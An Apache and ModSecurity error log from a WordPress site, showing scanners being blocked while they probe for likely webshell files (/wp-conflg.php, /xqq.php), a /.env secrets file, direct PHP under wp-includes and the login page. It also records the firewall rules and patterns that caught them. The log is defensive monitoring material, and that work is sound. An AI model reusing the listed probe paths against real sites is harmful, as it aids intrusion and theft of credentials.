[Sat Feb 28 21:33:45.987181 2026] [:error] [pid 49763:tid 49780] [client 4.204.200.32:56608] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaLuubTHSOG_yf2PpqF_tgAAAc4"]
[Sat Feb 28 21:33:46.457277 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:25494] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaLuurTHSOG_yf2PpqF_vAAAAcY"]
[Sat Feb 28 21:33:46.886124 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:56581] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaLuurTHSOG_yf2PpqF_wgAAAdA"]
[Sat Feb 28 21:33:47.356402 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:25593] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sdsa.php"] [unique_id "aaLuu7THSOG_yf2PpqF_yQAAAcQ"]
[Sat Feb 28 21:33:47.912615 2026] [:error] [pid 39183:tid 39204] [client 4.204.200.32:25478] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sdsa.php"] [unique_id "aaLuuxCf4HvhVePw3LZVkAAAAAw"]
[Sat Feb 28 21:33:48.347372 2026] [:error] [pid 39183:tid 39208] [client 4.204.200.32:56638] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sdsa.php"] [unique_id "aaLuvBCf4HvhVePw3LZVlgAAABA"]
[Sat Feb 28 21:33:48.768957 2026] [:error] [pid 39183:tid 39210] [client 4.204.200.32:65138] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sdsa.php"] [unique_id "aaLuvBCf4HvhVePw3LZVnAAAABI"]
[Sat Feb 28 21:33:49.188475 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:23711] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaLuvbTHSOG_yf2PpqF_2QAAAcQ"]
[Sat Feb 28 21:33:49.609889 2026] [:error] [pid 49763:tid 49774] [client 4.204.200.32:65088] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaLuvbTHSOG_yf2PpqF_3gAAAcg"]
[Sat Feb 28 21:33:50.069362 2026] [:error] [pid 49763:tid 49775] [client 4.204.200.32:25531] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaLuvrTHSOG_yf2PpqF_4gAAAck"]
[Sat Feb 28 21:33:50.511253 2026] [:error] [pid 49763:tid 49786] [client 4.204.200.32:56009] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaLuvrTHSOG_yf2PpqF_5gAAAdQ"]
[Sat Feb 28 21:33:51.110980 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:25518] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-conflg.php"] [unique_id "aaLuv7THSOG_yf2PpqF_7AAAAcI"]
[Sat Feb 28 21:33:51.539082 2026] [:error] [pid 39292:tid 39318] [client 4.204.200.32:23719] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-conflg.php"] [unique_id "aaLuv6IAO5fN7BxyqcGDmQAAANg"]
[Sat Feb 28 21:33:52.046713 2026] [:error] [pid 49763:tid 49781] [client 4.204.200.32:25591] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-conflg.php"] [unique_id "aaLuwLTHSOG_yf2PpqF_9AAAAc8"]
[Sat Feb 28 21:33:52.472703 2026] [:error] [pid 49763:tid 49786] [client 4.204.200.32:23758] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-conflg.php"] [unique_id "aaLuwLTHSOG_yf2PpqF_9wAAAdQ"]
[Sat Feb 28 21:33:52.903728 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:56613] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaLuwLTHSOG_yf2PpqF_-QAAAcc"]
[Sat Feb 28 21:33:53.345167 2026] [:error] [pid 49763:tid 49776] [client 4.204.200.32:42996] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaLuwbTHSOG_yf2PpqGAAAAAAco"]
[Sat Feb 28 21:33:53.777404 2026] [:error] [pid 11791:tid 11816] [client 4.204.200.32:56628] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaLuwWuX5e1Q32gqxH3KYQAAARc"]
[Sat Feb 28 21:33:54.243240 2026] [:error] [pid 52460:tid 52477] [client 4.204.200.32:56051] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaLuwrLWOogAgHGh62SUbAAAAY4"]
[Sat Feb 28 21:33:54.666260 2026] [:error] [pid 49763:tid 49789] [client 4.204.200.32:23747] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aaLuwrTHSOG_yf2PpqGAFgAAAdc"]
[Sat Feb 28 21:33:55.090315 2026] [:error] [pid 39183:tid 39198] [client 4.204.200.32:25485] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aaLuwxCf4HvhVePw3LZVyQAAAAY"]
[Sat Feb 28 21:33:55.504788 2026] [:error] [pid 39183:tid 39216] [client 4.204.200.32:25549] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aaLuwxCf4HvhVePw3LZVzQAAABg"]
[Sat Feb 28 21:33:55.917478 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:25595] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aaLuwxCf4HvhVePw3LZVzwAAAAU"]
[Sat Feb 28 21:33:56.374341 2026] [:error] [pid 49763:tid 49775] [client 4.204.200.32:25481] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aaLuxLTHSOG_yf2PpqGAJQAAAck"]
[Sat Feb 28 21:33:56.808200 2026] [:error] [pid 49763:tid 49778] [client 4.204.200.32:25558] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aaLuxLTHSOG_yf2PpqGAKwAAAcw"]
[Sat Feb 28 21:33:57.237842 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56601] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aaLuxbTHSOG_yf2PpqGAMAAAAcI"]
[Sat Feb 28 21:33:57.666948 2026] [:error] [pid 52460:tid 52473] [client 4.204.200.32:56584] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aaLuxbLWOogAgHGh62SUcwAAAYo"]
[Sat Feb 28 22:13:02.160933 2026] [:error] [pid 49763:tid 49774] [client 43.130.101.151:52616] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaL37rTHSOG_yf2PpqG3zgAAAcg"]
[Sat Feb 28 22:21:02.635896 2026] [:error] [pid 39185:tid 39266] [client 161.97.166.122:56114] [client 161.97.166.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.166.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaL5zhVE-FfM89u7BQawvQAAAJQ"]
[Sat Feb 28 23:31:25.032168 2026] [autoindex:error] [pid 11791:tid 11805] [client 194.146.12.7:61965] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 01 00:12:50.298283 2026] [:error] [pid 39183:tid 39193] [client 20.220.13.5:17720] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaMUAhCf4HvhVePw3LYZBwAAAAE"]
[Sun Mar 01 00:13:10.144198 2026] [autoindex:error] [pid 39183:tid 39204] [client 20.220.13.5:17691] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 00:13:10.365367 2026] [autoindex:error] [pid 39183:tid 39216] [client 20.220.13.5:17691] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/block/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 00:13:13.170568 2026] [:error] [pid 39183:tid 39203] [client 20.220.13.5:17691] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaMUGRCf4HvhVePw3LYZdwAAAAs"]
[Sun Mar 01 00:13:17.398503 2026] [:error] [pid 52460:tid 52487] [client 20.220.13.5:17665] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aaMUHbLWOogAgHGh62QIwQAAAZg"]
[Sun Mar 01 00:13:18.240879 2026] [:error] [pid 39183:tid 39199] [client 20.220.13.5:17713] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aaMUHhCf4HvhVePw3LYZjQAAAAc"]
[Sun Mar 01 00:13:19.104223 2026] [:error] [pid 39183:tid 39210] [client 20.220.13.5:17718] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aaMUHxCf4HvhVePw3LYZlwAAABI"]
[Sun Mar 01 00:13:19.937214 2026] [:error] [pid 52460:tid 52465] [client 20.220.13.5:18053] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aaMUH7LWOogAgHGh62QIyAAAAYI"]
[Sun Mar 01 00:52:10.011296 2026] [:error] [pid 11920:tid 11948] [client 147.45.51.30:50318] [client 147.45.51.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aaMdOizLNJUKxvBorrBsCQAAAZg"]
[Sun Mar 01 00:54:01.777634 2026] [proxy_fcgi:error] [pid 30798:tid 30901] [client 103.4.122.14:39080] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Sun Mar 01 00:56:05.681695 2026] [:error] [pid 11920:tid 11933] [client 138.68.86.74:44390] [client 138.68.86.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.86.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaMeJSzLNJUKxvBorrBzrAAAAYk"]
[Sun Mar 01 01:05:21.393469 2026] [:error] [pid 30798:tid 30912] [client 20.63.83.162:41184] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aaMgUcBkD73gO8wTonZWWAAAAI0"]
[Sun Mar 01 01:05:22.239831 2026] [:error] [pid 30798:tid 30911] [client 20.63.83.162:41314] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aaMgUsBkD73gO8wTonZWawAAAIw"]
[Sun Mar 01 01:05:23.082931 2026] [:error] [pid 11920:tid 11932] [client 20.63.83.162:41180] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aaMgUyzLNJUKxvBorrCAyAAAAYg"]
[Sun Mar 01 01:05:23.912429 2026] [:error] [pid 11920:tid 11928] [client 20.63.83.162:41292] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aaMgUyzLNJUKxvBorrCAzAAAAYQ"]
[Sun Mar 01 01:09:22.454134 2026] [:error] [pid 30798:tid 30921] [client 20.220.8.64:27636] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aaMhQsBkD73gO8wTonZbfAAAAJU"]
[Sun Mar 01 01:09:22.889093 2026] [:error] [pid 30798:tid 30918] [client 20.220.8.64:27635] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aaMhQsBkD73gO8wTonZbggAAAJM"]
[Sun Mar 01 01:09:23.376106 2026] [:error] [pid 31190:tid 31220] [client 20.220.8.64:27605] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aaMhQxfvwGOholYpM1FqTwAAAM4"]
[Sun Mar 01 01:09:23.970986 2026] [:error] [pid 31190:tid 31207] [client 20.220.8.64:27646] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaMhQxfvwGOholYpM1FqVgAAAME"]
[Sun Mar 01 01:09:24.479206 2026] [:error] [pid 30797:tid 30885] [client 20.220.8.64:27552] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaMhRPQmcmSQL-3rvLADjwAAAE4"]
[Sun Mar 01 01:09:24.992969 2026] [:error] [pid 30798:tid 30900] [client 20.220.8.64:27524] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaMhRMBkD73gO8wTonZbiwAAAIE"]
[Sun Mar 01 01:09:25.616198 2026] [:error] [pid 53600:tid 53606] [client 20.220.8.64:27524] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aaMhRQ2UMRAYWtDB23TTlgAAAQM"]
[Sun Mar 01 01:09:26.151794 2026] [:error] [pid 11920:tid 11924] [client 20.220.8.64:27618] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aaMhRizLNJUKxvBorrCHfAAAAYA"]
[Sun Mar 01 01:09:26.632449 2026] [:error] [pid 11920:tid 11945] [client 20.220.8.64:27462] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aaMhRizLNJUKxvBorrCHggAAAZU"]
[Sun Mar 01 01:09:27.268914 2026] [:error] [pid 11920:tid 11932] [client 20.220.8.64:27647] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aaMhRyzLNJUKxvBorrCHjQAAAYg"]
[Sun Mar 01 01:09:27.855669 2026] [:error] [pid 31190:tid 31230] [client 20.220.8.64:27612] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "aaMhRxfvwGOholYpM1FqdAAAANg"]
